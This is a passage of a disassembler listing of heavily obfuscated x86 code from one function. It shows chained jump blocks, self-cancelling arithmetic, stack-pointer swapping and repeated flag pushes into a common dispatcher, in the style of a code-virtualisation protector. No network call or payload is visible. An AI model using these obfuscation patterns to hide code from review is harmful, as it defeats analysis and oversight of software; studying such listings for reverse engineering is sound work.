		mov	[esp-6EF2h+arg_6EE8+2],	esi
		jmp	loc_58F431
; ---------------------------------------------------------------------------


loc_58E127:				; CODE XREF: sub_581EE9+D8E3j
		mov	eax, 33FB300Bh
		inc	eax
		not	eax
		shr	eax, 8
		jmp	loc_58BFCD
; ---------------------------------------------------------------------------


loc_58E137:				; CODE XREF: sub_581EE9+7D73j
		mov	[esp-6ED8h+arg_6ECE+2],	ecx
		jmp	loc_586554
; ---------------------------------------------------------------------------


loc_58E13F:				; DATA XREF: sub_581EE9+3CFBo
		mov	ax, word ptr [esp-6ED8h+arg_6ECE+2]
		jmp	loc_591817
; ---------------------------------------------------------------------------


loc_58E148:				; CODE XREF: sub_581EE9+D38Ej
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-6ED8h+arg_6ECE+2]
		pop	esp
		mov	[esp-6EDCh+arg_6ED2+2],	ebp
		jmp	loc_58DA89
; ---------------------------------------------------------------------------


loc_58E15D:				; CODE XREF: sub_581EE9+6445j
		shr	edi, 2
		dec	edi
		xchg	esi, edi
		jmp	loc_58694C
; ---------------------------------------------------------------------------


loc_58E168:				; CODE XREF: sub_581EE9+A004j
		mov	ebp, edx
		pop	edx
		shr	ebp, 8
		neg	ebp
		sub	ebp, 0B728D0F7h
		jmp	loc_58A900
; ---------------------------------------------------------------------------


loc_58E17B:				; CODE XREF: sub_581EE9+6348j
		add	ecx, 0C6238D7h
		sub	ecx, 0CE979DDh
		sub	edx, 1DD1F87h
		add	edx, ecx
		add	edx, 1DD1F87h
		pop	ecx
		shr	edx, 8
		push	edi
		mov	edi, 0DA35FD4h
		xor	edx, edi
		pop	edi
		jmp	loc_59106F
; ---------------------------------------------------------------------------


loc_58E1A7:				; CODE XREF: sub_581EE9+401Fj
		pop	ebp
		jmp	loc_58D6D6
; ---------------------------------------------------------------------------


loc_58E1AD:				; CODE XREF: sub_581EE9+5452j
		mov	ebx, edi
		pop	edi
		add	eax, ebx
		jmp	loc_591982
; ---------------------------------------------------------------------------


loc_58E1B7:				; CODE XREF: sub_581EE9+74C4j
		add	esp, 4
		push	dx
		push	eax
		mov	ah, 24h
		shl	ah, 1
		inc	ah
		or	ah, 6Bh
		jmp	loc_5883AF
; ---------------------------------------------------------------------------


loc_58E1CB:				; CODE XREF: sub_581EE9+854Bj
		neg	esi
		xor	esi, 1143C8D9h
		add	edi, esi
		mov	esi, [esp-6EB6h+arg_6EAC+2]
		jmp	loc_58ADCF
; ---------------------------------------------------------------------------


loc_58E1DD:				; CODE XREF: sub_581EE9+AE5Cj
		sub	esi, ebp
		mov	ebp, [esp-6EF6h+arg_6EEC+2]
		push	edx
		mov	edx, esp
		jmp	loc_589839
; ---------------------------------------------------------------------------


loc_58E1EA:				; DATA XREF: sub_581EE9+3CA3o
		pop	dword ptr [edx]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58E1F1:				; CODE XREF: sub_581EE9+F0D3j
		neg	edx
		push	5F25h
		jmp	loc_58D916
; ---------------------------------------------------------------------------


loc_58E1FD:				; CODE XREF: sub_581EE9+F539j
		add	esp, 4
		jmp	loc_58A609
; ---------------------------------------------------------------------------


loc_58E208:				; CODE XREF: sub_581EE9+8F55j
		add	eax, edx
		add	eax, 4393962h
		push	[esp-6ED2h+arg_6ECA]
		push	[esp-6ECEh+arg_6EC6]
		jmp	loc_58C3E5
; ---------------------------------------------------------------------------


loc_58E21A:				; CODE XREF: sub_581EE9+FCBBj
		mov	ecx, [esp-6ECAh+arg_6EC2]
		jmp	loc_58C060
; ---------------------------------------------------------------------------


loc_58E222:				; CODE XREF: sub_581EE9+8D2Fj
		pop	ebp
		add	edx, 5F9C7DD6h
		jmp	loc_58B330
; ---------------------------------------------------------------------------


loc_58E22E:				; CODE XREF: sub_581EE9+5B23j
		add	edi, eax
		sub	edi, 7481451h
		pop	eax
		push	3F1Dh
		mov	[esp-6EACh+arg_6EA4], edi
		push	[esp-6EACh+arg_6EA8]
		pop	edi
		pop	[esp-6EACh+arg_6EA4]
		mov	esp, [esp-6EB0h+arg_6EA8]
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], eax
		push	5B1Bh
		mov	[esp-6EA8h+arg_6E9E+2],	ebp
		push	[esp-6EA8h+arg_6E9E+2]
		jmp	loc_58D00E
; ---------------------------------------------------------------------------


loc_58E268:				; CODE XREF: sub_581EE9+5B73j
		push	ebp
		jmp	loc_58C858
; ---------------------------------------------------------------------------


loc_58E26E:				; CODE XREF: sub_581EE9+95CEj
		push	eax
		mov	eax, 5CC06B15h
		inc	eax
		inc	eax
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], edi
		mov	edi, 455E5823h
		jmp	loc_587117
; ---------------------------------------------------------------------------


loc_58E286:				; CODE XREF: sub_581EE9+B39Ej
		push	ecx
		jmp	loc_58D9DE
; ---------------------------------------------------------------------------


loc_58E28C:				; DATA XREF: sub_581EE9+3D83o
		mov	cx, word ptr [esp-6EF0h+arg_6EE8]
		push	ecx
		push	esp
		mov	ecx, [esp-6EE8h+arg_6EE0]
		add	esp, 4
		push	edi
		mov	edi, 4DF32209h
		add	edi, 4F646EF7h
		push	esi
		mov	esi, 0E8E3313h
		neg	esi
		sub	esi, 0BACB9ABFh
		xor	edi, esi
		pop	esi
		neg	edi
		sub	edi, 0FFFFFFFFh
		push	eax
		mov	eax, 4E9D7786h
		jmp	loc_58DFAE
; ---------------------------------------------------------------------------


loc_58E2C5:				; CODE XREF: sub_581EE9+D8A0j
		push	5ABA4E05h
		pop	esi
		neg	esi
		push	eax
		mov	eax, 19C32202h
		sub	esi, eax
		jmp	loc_58F9A7
; ---------------------------------------------------------------------------


loc_58E2DA:				; CODE XREF: sub_581EE9+DDE7j
		mov	[esp-6EE0h+arg_6ED6+2],	eax
		push	edx
		pop	eax
		mov	edx, [esp-6EE0h+arg_6ED6+2]
		sub	esp, 4
		mov	[esp-6EDCh+arg_6ED2+2],	ebp
		mov	ebp, esp
		jmp	loc_587C28
; ---------------------------------------------------------------------------


loc_58E2EF:				; CODE XREF: sub_581EE9+DE3Cj
		inc	ecx
		xor	ecx, 0FC86646Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		add	eax, 73D95B18h
		push	[esp-6EE0h+arg_6ED6+2]
		pop	ebx
		add	esp, 4
		push	5B7Dh
		mov	[esp-6EE0h+arg_6ED6+2],	ebp
		jmp	loc_58A58D
; ---------------------------------------------------------------------------


loc_58E317:				; CODE XREF: sub_581EE9+D2AEj
		push	ecx
		push	0
		jmp	loc_58A682
; ---------------------------------------------------------------------------


loc_58E322:				; CODE XREF: sub_581EE9+40A3j
		xchg	eax, ecx
		jmp	loc_58A723
; ---------------------------------------------------------------------------


loc_58E328:				; CODE XREF: sub_581EE9+66E0j
		push	esp
		pop	esi
		push	ebx
		push	esi
		mov	esi, 25657F5Ah
		sub	esp, 4
		mov	[esp-6EBAh+arg_6EB2], ecx
		mov	ecx, 25B26AACh
		xor	ecx, 0D715F2h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, esi
		pop	esi
		add	esi, ebx
		jmp	loc_587C60
; ---------------------------------------------------------------------------


loc_58E34F:				; CODE XREF: sub_581EE9+BA9Dj
		sub	esi, 3D23483Dh
		push	ecx
		mov	ecx, 6F492591h
		add	esi, 4B9623B4h
		sub	esi, ecx
		sub	esi, 4B9623B4h
		mov	ecx, [esp-6EB6h+arg_6EAC+2]
		add	esp, 4
		push	ebp
		mov	ebp, 3EEC1D2Ah
		mov	ebx, 0EE158B5h
		xor	ebx, ebp
		pop	ebp
		add	ebx, 169F4F1Eh
		push	ebx
		jmp	loc_58BA40
; ---------------------------------------------------------------------------


loc_58E389:				; CODE XREF: sub_581EE9+7D4Cj
		mov	[esp-6EC8h+arg_6EBE+2],	edx
		mov	edx, 4
		push	ebx
		mov	ebx, 28641A6Dh
		add	esi, ebx
		pop	ebx
		sub	esi, 2F4D1119h
		add	esi, 250B2465h
		sub	esi, edx
		sub	esi, 250B2465h
		add	esi, 2F4D1119h
		jmp	loc_590759
; ---------------------------------------------------------------------------


loc_58E3B9:				; DATA XREF: sub_581EE9+3B2Bo
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp-6ECCh+arg_6EC2+2],	eax
		pushf
		jmp	loc_59026C
; ---------------------------------------------------------------------------


loc_58E3C7:				; CODE XREF: sub_581EE9+8A5Ej
		push	7064h
		mov	[esp-6ED4h+arg_6ECA+2],	ecx
		mov	ch, 0D1h
		and	ch, 69h
		jmp	loc_589121
; ---------------------------------------------------------------------------


loc_58E3D9:				; CODE XREF: sub_581EE9+4E45j
		xor	[esp-6ECAh+arg_6EC2], ebp
		jmp	loc_586B51
; ---------------------------------------------------------------------------


loc_58E3E1:				; CODE XREF: sub_581EE9+FA94j
		sub	esp, 4
		mov	[esp-6EC6h+arg_6EBE], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		jmp	loc_590FC1
; ---------------------------------------------------------------------------


loc_58E3FD:				; CODE XREF: sub_581EE9+4632j
		sub	ebx, 3090B4BFh
		add	edi, ebx
		jmp	loc_58EA61
; ---------------------------------------------------------------------------


loc_58E40A:				; CODE XREF: sub_581EE9+817Bj
		mov	bh, 44h
		xor	bh, 73h
		push	eax
		mov	al, 38h
		sub	bh, al
		pop	eax
		add	al, 94h
		sub	al, 0Dh
		sub	al, bh
		add	al, 0Dh
		sub	al, 94h
		pop	ebx
		mov	cl, al
		pop	eax
		jmp	loc_58F38B
; ---------------------------------------------------------------------------


loc_58E428:				; CODE XREF: sub_581EE9+A050j
		and	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp-6ED6h+arg_6ECE], esi
		mov	esi, 253B66A1h
		xor	esi, 59E545A0h
		and	esi, 60AE50A8h
		and	esi, 78893AACh
		inc	esi
		sub	esi, 0F898B2F0h
		jmp	loc_5861DC
; ---------------------------------------------------------------------------


loc_58E457:				; DATA XREF: sub_581EE9+3B3Bo
		mov	cx, word ptr [esp-6ED6h+arg_6ECE]
		push	591Eh
		mov	[esp-6ED2h+arg_6ECA], ebp
		push	esp
		pop	ebp
		jmp	loc_58F7F8
; ---------------------------------------------------------------------------


loc_58E46A:				; CODE XREF: sub_581EE9+3E78j
		pop	eax
		xchg	ebx, [esp-6ED8h+arg_6ECE+2]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 2
		xor	edx, [esp-6EDCh+arg_6ED2+2]
		xor	[esp-6EDCh+arg_6ED2+2],	edx
		xor	edx, [esp-6EDCh+arg_6ED2+2]
		mov	esp, [esp-6EDCh+arg_6ED2+2]
		mov	ax, word ptr [esp-6EDCh+arg_6ED2+2]
		push	eax
		push	esp
		jmp	loc_58AB04
; ---------------------------------------------------------------------------


loc_58E492:				; CODE XREF: sub_581EE9+8F1Cj
		add	ebp, 4
		xchg	ebp, [esp-6EDEh+arg_6ED6]
		pop	esp
		shl	eax, 3
		jmp	loc_5885F0
; ---------------------------------------------------------------------------


loc_58E4A1:				; CODE XREF: sub_581EE9+E7B0j
		add	edi, 388503DBh
		push	ebp
		push	ecx
		mov	ecx, 1B185F5Fh
		push	ecx
		sub	[esp-6ED6h+arg_6ECE], 0E7C5A16h
		jmp	loc_58B837
; ---------------------------------------------------------------------------


loc_58E4BB:				; CODE XREF: sub_581EE9+5EAEj
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp-6EE0h+arg_6ED6+2]
		pop	esp
		jmp	loc_58880B
; ---------------------------------------------------------------------------


loc_58E4CA:				; CODE XREF: sub_581EE9+6E24j
		mov	[esp-6EAEh+arg_6EA4+2],	esp
		jmp	loc_585D4E
; ---------------------------------------------------------------------------


loc_58E4D2:				; CODE XREF: sub_581EE9+6BD7j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58E4D7:				; CODE XREF: sub_581EE9+55DDj
		xchg	edx, [esp-6ECAh+arg_6EC2]
		pop	esp
		jmp	loc_59042F
; ---------------------------------------------------------------------------


loc_58E4E0:				; CODE XREF: sub_581EE9+F705j
		movzx	ax, byte ptr [eax]
		push	small 5913h
		mov	word ptr [esp-6ECCh+arg_6EC2+2], ax
		jmp	loc_587C8E
; ---------------------------------------------------------------------------


loc_58E4F1:				; CODE XREF: sub_581EE9+B8D3j
		sub	ebx, edi
		pop	edi
		add	ebx, eax
		add	ebx, 7957448Fh
		push	edi
		mov	edi, 32D05DDBh
		jmp	loc_58D588
; ---------------------------------------------------------------------------


loc_58E507:				; CODE XREF: sub_581EE9+8106j
		add	edx, esi
		pop	esi
		jmp	loc_58C252
; ---------------------------------------------------------------------------


loc_58E50F:				; CODE XREF: sub_581EE9+56FEj
		or	ebx, 690E1531h
		push	ecx
		mov	ecx, 28184883h
		not	ecx
		add	ecx, 7193B8C8h
		xor	ebx, ecx
		mov	ecx, [esp-6F0Ah+arg_6F02]
		add	esp, 4
		jmp	loc_58F634
; ---------------------------------------------------------------------------


loc_58E533:				; CODE XREF: sub_581EE9+93ADj
		mov	ecx, edi
		pop	edi
		and	ecx, 157B59D8h
		sub	ecx, 10785116h
		push	ecx
		jmp	loc_58AD7D
; ---------------------------------------------------------------------------


loc_58E548:				; CODE XREF: sub_581EE9+C15Dj
		add	edx, 41AA6475h
		push	[esp-6E8Ch+arg_6E84]
		jmp	loc_5916BC
; ---------------------------------------------------------------------------


loc_58E556:				; CODE XREF: sub_581EE9+9BE9j
		and	bh, 0C3h
		neg	bh
		neg	bh
		jmp	loc_589146
; ---------------------------------------------------------------------------


loc_58E562:				; DATA XREF: sub_581EE9+3B0Fo
		sub	esp, 4
		mov	[esp-6ECEh+arg_6EC6], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_58B82F
; ---------------------------------------------------------------------------


loc_58E579:				; CODE XREF: sub_581EE9+9423j
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_591B46
; ---------------------------------------------------------------------------


loc_58E586:				; CODE XREF: sub_581EE9+DF66j
		pop	ecx
		push	ebx
		mov	ebx, 3930347Fh
		sub	ebx, 2D0B101Ah
		xor	ebx, 26D33073h
		shl	ebx, 3
		add	ebx, 6A0540DDh
		jmp	loc_58D98B
; ---------------------------------------------------------------------------


loc_58E5A7:				; CODE XREF: sub_581EE9+534Cj
		sub	edx, 0CA5192Bh
		pop	ecx
		add	edx, eax
		sub	edx, 50672503h
		pop	eax
		add	edx, 2
		push	edx
		push	[esp-6EFEh+arg_6EFA]
		pop	edx
		pop	[esp-6EFEh+arg_6EF6]
		mov	esp, [esp-6F02h+arg_6EFA]
		jmp	loc_587189
; ---------------------------------------------------------------------------


loc_58E5CE:				; CODE XREF: sub_581EE9+E748j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58E5D3:				; CODE XREF: sub_581EE9+E177j
		pop	esp
		jmp	loc_590670
; ---------------------------------------------------------------------------


loc_58E5D9:				; CODE XREF: sub_581EE9+BED1j
		mov	edi, 53A85654h
		jmp	loc_58D5E1
; ---------------------------------------------------------------------------


loc_58E5E3:				; CODE XREF: sub_581EE9+6295j
		push	ecx
		jmp	loc_58C461
; ---------------------------------------------------------------------------


loc_58E5E9:				; CODE XREF: sub_581EE9+50D9j
		mov	ebp, [esp-6EFEh+arg_6EF6]
		jmp	loc_58C395
; ---------------------------------------------------------------------------


loc_58E5F1:				; CODE XREF: sub_581EE9+4E1Ej
		push	edx
		mov	edx, 409F4AE2h
		add	edx, 32D70065h
		dec	edx
		shr	edx, 6
		add	edx, 404C61C2h
		sub	edx, 421A3AEBh
		add	esi, edx
		pop	edx
		push	edi
		mov	edi, 4
		push	edx
		mov	edx, 38724267h
		add	edx, 0D9B0F158h
		add	esi, 742E24E1h
		jmp	loc_58DAD9
; ---------------------------------------------------------------------------


loc_58E62D:				; CODE XREF: sub_581EE9+9240j
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp-6EF2h+arg_6EE8+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EF2h+arg_6EE8+2],	edi
		mov	edi, 2
		jmp	loc_588A9B
; ---------------------------------------------------------------------------


loc_58E64D:				; CODE XREF: sub_581EE9+BDAAj
		push	86h
		mov	[esp-6EC4h+arg_6EBA+2],	ebx
		mov	bl, 2
		add	bl, 0BCh
		not	bl
		push	ecx
		mov	cl, bl
		not	cl
		jmp	loc_586656
; ---------------------------------------------------------------------------


loc_58E666:				; CODE XREF: sub_581EE9+81D2j
		add	edx, 611383D9h
		add	ecx, 38236B3Fh
		jmp	loc_5867A6
; ---------------------------------------------------------------------------


loc_58E677:				; CODE XREF: sub_581EE9+4577j
		pop	ebp
		jmp	loc_58E9B7
; ---------------------------------------------------------------------------


loc_58E67D:				; CODE XREF: sub_581EE9+6014j
		pop	edx
		jmp	loc_589C9D
; ---------------------------------------------------------------------------


loc_58E683:				; CODE XREF: sub_581EE9+695Dj
		pop	ebp
		xchg	edi, [esp-6ECAh+arg_6EC2]
		pop	esp
		mov	[esp-6ECEh+arg_6EC6], edx
		mov	dx, 4D88h
		shr	dx, 3
		sub	dx, 0C9D3h
		and	bp, dx
		mov	edx, [esp-6ECEh+arg_6EC6]
		jmp	loc_58CD79
; ---------------------------------------------------------------------------


loc_58E6A3:				; CODE XREF: sub_581EE9+9588j
		pop	ecx
		sub	edi, 0C2F7A801h
		jmp	loc_589624
; ---------------------------------------------------------------------------


loc_58E6AF:				; CODE XREF: sub_581EE9+A308j
		pop	esi
		xor	esi, 1AA820F3h
		push	eax
		mov	eax, 3BA9750Ah
		not	eax
		inc	eax
		jmp	loc_586EBB
; ---------------------------------------------------------------------------


loc_58E6C4:				; CODE XREF: sub_581EE9+A69Dj
		xor	[esp-6EA4h+arg_6E9A+2],	75944CABh
		jmp	loc_58DFC2
; ---------------------------------------------------------------------------


loc_58E6D0:				; CODE XREF: sub_581EE9+A7C0j
		mov	edi, [esp-6EBCh+arg_6EB2+2]
		add	esp, 4
		jmp	loc_58F80B
; ---------------------------------------------------------------------------


loc_58E6DE:				; CODE XREF: sub_581EE9+642Aj
		push	small 756Eh
		mov	word ptr [esp-6ED8h+arg_6ECE+2], bx
		mov	bh, 89h
		xor	dh, bh
		pop	bx
		xor	al, dh
		push	[esp-6EDAh+arg_6ED2]
		jmp	loc_58CB55
; ---------------------------------------------------------------------------


loc_58E6F6:				; DATA XREF: sub_581EE9+3B1Bo
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_589C4A
; ---------------------------------------------------------------------------


loc_58E703:				; CODE XREF: sub_581EE9+825Aj
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp-6EC4h+arg_6EBA+2]
		jmp	loc_58F77D
; ---------------------------------------------------------------------------


loc_58E713:				; CODE XREF: sub_581EE9+D973j
		pop	[esp-6EC4h+arg_6EBA+2]
		pop	esp
		xor	ebx, eax
		jmp	loc_589026
; ---------------------------------------------------------------------------


loc_58E71E:				; CODE XREF: sub_581EE9+501Dj
		mov	[esp-6EB0h+arg_6EA8], ebp
		mov	ebp, 3EF05092h
		shr	ebp, 6
		and	ebp, 5B9B694Ah
		sub	ebp, 9B4140h
		sub	esi, 2DDD2EACh
		add	esi, ebp
		jmp	loc_5861E9
; ---------------------------------------------------------------------------


loc_58E742:				; CODE XREF: sub_581EE9+EF97j
		sub	esp, 4
		jmp	loc_58CAA4
; ---------------------------------------------------------------------------


loc_58E74A:				; CODE XREF: sub_581EE9+A0D6j
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp-6ECEh+arg_6EC6]
		pop	esp
		pop	[esp-6ED2h+arg_6ECA]
		mov	esp, [esp-6ED6h+arg_6ECE]
		inc	[esp-6ED6h+arg_6ECE]
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58E765:				; CODE XREF: sub_581EE9+FA86j
		push	0CF11649h
		pop	edi
		jmp	loc_589E35
; ---------------------------------------------------------------------------


loc_58E770:				; CODE XREF: sub_581EE9+4939j
		sub	eax, ebx
		sub	eax, 1F37721h
		mov	ebx, [esp-6EBCh+arg_6EB2+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_58B07F
; ---------------------------------------------------------------------------


loc_58E782:				; CODE XREF: sub_581EE9+67ADj
		and	edi, 69A4C1Fh
		jmp	loc_58F19C
; ---------------------------------------------------------------------------


loc_58E78D:				; CODE XREF: sub_581EE9+ED40j
		mov	ecx, 47B40E6h
		push	ecx
		add	[esp-6EE4h+arg_6EDC], 40AF16B9h
		pop	eax
		sub	eax, 40AF16B9h
		pop	ecx
		add	[esp-6EECh+arg_6EE8], eax
		jmp	loc_58F966
; ---------------------------------------------------------------------------


loc_58E7AA:				; CODE XREF: sub_581EE9+D16Fj
		mov	eax, 0BE255DEh
		mov	edx, 35CE8ED2h
		jmp	loc_587F5D
; ---------------------------------------------------------------------------


loc_58E7B9:				; CODE XREF: sub_581EE9+4D6Fj
		xor	esi, [esp-6ED8h+arg_6ECE+2]
		xor	[esp-6ED8h+arg_6ECE+2],	esi
		xor	esi, [esp-6ED8h+arg_6ECE+2]
		mov	esp, [esp-6ED8h+arg_6ECE+2]
		mov	[esp-6ED8h+arg_6ECE+2],	esi
		mov	eax, [esp-6ED8h+arg_6ECE+2]
		add	esp, 4
		jmp	loc_58C8B6
; ---------------------------------------------------------------------------


loc_58E7D3:				; CODE XREF: sub_581EE9+699Bj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6EB6h+arg_6EAC+2]
		pop	esp
		jmp	loc_58753D
; ---------------------------------------------------------------------------


loc_58E7E7:				; CODE XREF: sub_581EE9+E13Dj
		pop	esp
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58E7F4:				; CODE XREF: sub_581EE9+5047j
		add	eax, 557C36BEh
		jmp	loc_58D90A
; ---------------------------------------------------------------------------


loc_58E7FE:				; CODE XREF: sub_581EE9+90BFj
		sub	esp, 4
		mov	[esp-6EEAh+arg_6EE0+2],	ebp
		mov	ebp, 4
		sub	esi, 3FE21FA4h
		sub	esi, ebp
		jmp	loc_58DAC3
; ---------------------------------------------------------------------------


loc_58E819:				; CODE XREF: sub_581EE9+972Fj
		xor	[esp-6ECAh+arg_6EC2], edx
		xor	edx, [esp-6ECAh+arg_6EC2]
		mov	esp, [esp-6ECAh+arg_6EC2]
		bts	word ptr [esp-6ECAh+arg_6EC2], ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58E82D:				; CODE XREF: sub_581EE9+B5EFj
		pop	esp
		and	[esp+0], ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58E838:				; CODE XREF: sub_581EE9+9238j
		mov	edi, 4
		sub	ecx, 578B5A71h
		add	ecx, edi
		jmp	loc_58D025
; ---------------------------------------------------------------------------


loc_58E84A:				; CODE XREF: sub_581EE9+417Bj
		pop	cx
		add	al, dl
		sub	al, 2Eh
		jmp	loc_58D21E
; ---------------------------------------------------------------------------


loc_58E855:				; CODE XREF: sub_581EE9+BBC3j
		xor	ebp, [esp-6EE8h+arg_6EE0]
		mov	esp, [esp-6EE8h+arg_6EE0]
		sub	ecx, 546E5614h
		mov	eax, [esp-6EE8h+arg_6EE0]
		add	esp, 4
		push	2FDAh
		mov	[esp-6EE8h+arg_6EE0], edx
		jmp	loc_58EA7D
; ---------------------------------------------------------------------------


loc_58E877:				; CODE XREF: sub_581EE9+CF8Bj
		shl	ebp, 7
		jmp	loc_58C505
; ---------------------------------------------------------------------------


loc_58E87F:				; CODE XREF: sub_581EE9+AEF3j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6EDEh+arg_6ED6]
		pop	esp
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_587933
; ---------------------------------------------------------------------------


loc_58E89C:				; CODE XREF: sub_581EE9+DC9Ej
		sub	ecx, 74F604Ah
		neg	ecx
		sub	ecx, 589CDE7h
		add	ebp, ecx
		mov	ecx, [esp-6EE6h+arg_6EDC+2]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_586FF2
; ---------------------------------------------------------------------------


loc_58E8CA:				; CODE XREF: sub_581EE9+BA46j
		sub	edx, 5F6D5933h
		pop	esi
		push	ebx
		mov	ebx, 35B2327Eh
		or	edx, ebx
		pop	ebx
		xor	edx, 0D2EBE730h
		sub	eax, edx
		pop	edx
		sub	ebx, 66E619BCh
		add	ebx, 1F4A55E6h
		sub	ebx, 42D978EFh
		jmp	loc_590266
; ---------------------------------------------------------------------------


loc_58E8FA:				; CODE XREF: sub_581EE9+6B25j
		mov	ebp, [esp-6EE0h+arg_6ED6+2]
		add	esp, 4
		sub	ecx, esi
		pop	esi
		mov	eax, [ecx]
		mov	ecx, [esp-6EE8h+arg_6EE0]
		jmp	loc_5860F5
; ---------------------------------------------------------------------------
		neg	word ptr [esp-6EE8h+arg_6EE0]
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58E917:				; CODE XREF: sub_581EE9+6178j
		pop	ebx
		pop	edi
		sub	esp, 4
		mov	[esp-6EC6h+arg_6EBE], esi
		mov	esi, 100E4483h
		jmp	loc_586D33
; ---------------------------------------------------------------------------


loc_58E929:				; CODE XREF: sub_581EE9+5CADj
		sub	edi, 417305B9h
		jmp	loc_5902F7
; ---------------------------------------------------------------------------


loc_58E934:				; CODE XREF: sub_581EE9+72A0j
		push	esp
		mov	ebp, [esp-6EACh+arg_6EA4]
		sub	esp, 4
		jmp	loc_5884D1
; ---------------------------------------------------------------------------


loc_58E943:				; CODE XREF: sub_581EE9+B4B6j
		push	eax
		mov	eax, 2604BC6h
		jmp	loc_588038
; ---------------------------------------------------------------------------


loc_58E94E:				; CODE XREF: sub_581EE9+6D45j
		add	esp, 4
		add	ch, 49h
		add	bl, ch
		mov	ecx, [esp-6F10h+arg_6F06+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58AE61
; ---------------------------------------------------------------------------


loc_58E967:				; CODE XREF: sub_581EE9+6860j
		inc	edx
		jmp	loc_58B39F
; ---------------------------------------------------------------------------


loc_58E96D:				; CODE XREF: sub_581EE9+BFFFj
		sub	ebx, esi
		pop	esi
		push	esi
		jmp	loc_58A532
; ---------------------------------------------------------------------------


loc_58E976:				; CODE XREF: sub_581EE9+603Cj
		pop	esp
		mov	ax, word ptr [esp-6EEEh+arg_6EE4+2]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4E2630F3h
		dec	eax
		neg	eax
		sub	eax, 0B1D9CF0Ah
		add	ebp, eax
		jmp	loc_58C001
; ---------------------------------------------------------------------------


loc_58E993:				; CODE XREF: sub_581EE9+46CAj
		push	edx
		push	1B840286h
		pop	edx
		add	edi, edx
		pop	edx
		push	edi
		xchg	ebx, [esp-6ED6h+arg_6ECE]
		not	ebx
		xchg	ebx, [esp-6ED6h+arg_6ECE]
		mov	edi, [esp-6ED6h+arg_6ECE]
		add	esp, 4
		add	edi, 417B3D52h
		jmp	loc_58C5B9
; ---------------------------------------------------------------------------


loc_58E9B7:				; CODE XREF: sub_581EE9+C78Fj
		add	ebp, 0F8490DC5h
		mov	edx, ebp
		pop	ebp
		sub	esi, edx
		pop	edx
		shr	esi, 6
		xor	esi, 27584AFEh
		push	62DCh
		jmp	loc_589159
; ---------------------------------------------------------------------------


loc_58E9D6:				; CODE XREF: sub_581EE9+4327j
		add	eax, ecx
		jmp	loc_591103
; ---------------------------------------------------------------------------


loc_58E9DD:				; CODE XREF: sub_581EE9+F7B2j
		add	ebx, edx
		jmp	loc_58F88C
; ---------------------------------------------------------------------------


loc_58E9E4:				; CODE XREF: sub_581EE9+65DCj
		add	bl, 4Bh
		jmp	loc_589239
; ---------------------------------------------------------------------------


loc_58E9EC:				; DATA XREF: sub_581EE9+3C13o
		mov	eax, [esp-6EE0h+arg_6ED6+2]
		sub	esp, 4
		mov	[esp-6EDCh+arg_6ED2+2],	esi
		jmp	loc_591BBE
; ---------------------------------------------------------------------------


loc_58E9FD:				; CODE XREF: sub_581EE9+BBB5j
		push	9DEh
		mov	[esp-6EE0h+arg_6ED6+2],	eax
		push	edx
		push	esp
		pop	edx
		jmp	loc_590A37
; ---------------------------------------------------------------------------


loc_58EA0D:				; CODE XREF: sub_581EE9+4F52j
		shl	ebx, 2
		jmp	loc_5902BE
; ---------------------------------------------------------------------------


loc_58EA15:				; CODE XREF: sub_581EE9+BEB2j
		movzx	eax, al
		mov	dx, word ptr [esp-6E86h+arg_6E7C+2]
		push	esi
		sub	esp, 4
		mov	[esp-6E7Eh+arg_6E76], esp
		add	[esp-6E7Eh+arg_6E76], 4
		pop	esi
		push	6E5Ch
		mov	[esp-6E7Eh+arg_6E76], eax
		push	ebx
		mov	ebx, 13D7669Bh
		shr	ebx, 3
		neg	ebx
		xor	ebx, 0FD851329h
		jmp	loc_58745C
; ---------------------------------------------------------------------------


loc_58EA49:				; CODE XREF: sub_581EE9+B7CDj
		mov	[esp-6EB2h+arg_6EA8+2],	eax
		mov	ax, 5AFDh
		shl	ax, 6
		shl	ax, 5
		add	ax, 0CFEh
		jmp	loc_58FE54
; ---------------------------------------------------------------------------


loc_58EA61:				; CODE XREF: sub_581EE9+C51Cj
		pop	ebx
		xor	eax, edi
		jmp	loc_58C2E9
; ---------------------------------------------------------------------------


loc_58EA69:				; CODE XREF: sub_581EE9+4EDAj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58CE02
; ---------------------------------------------------------------------------


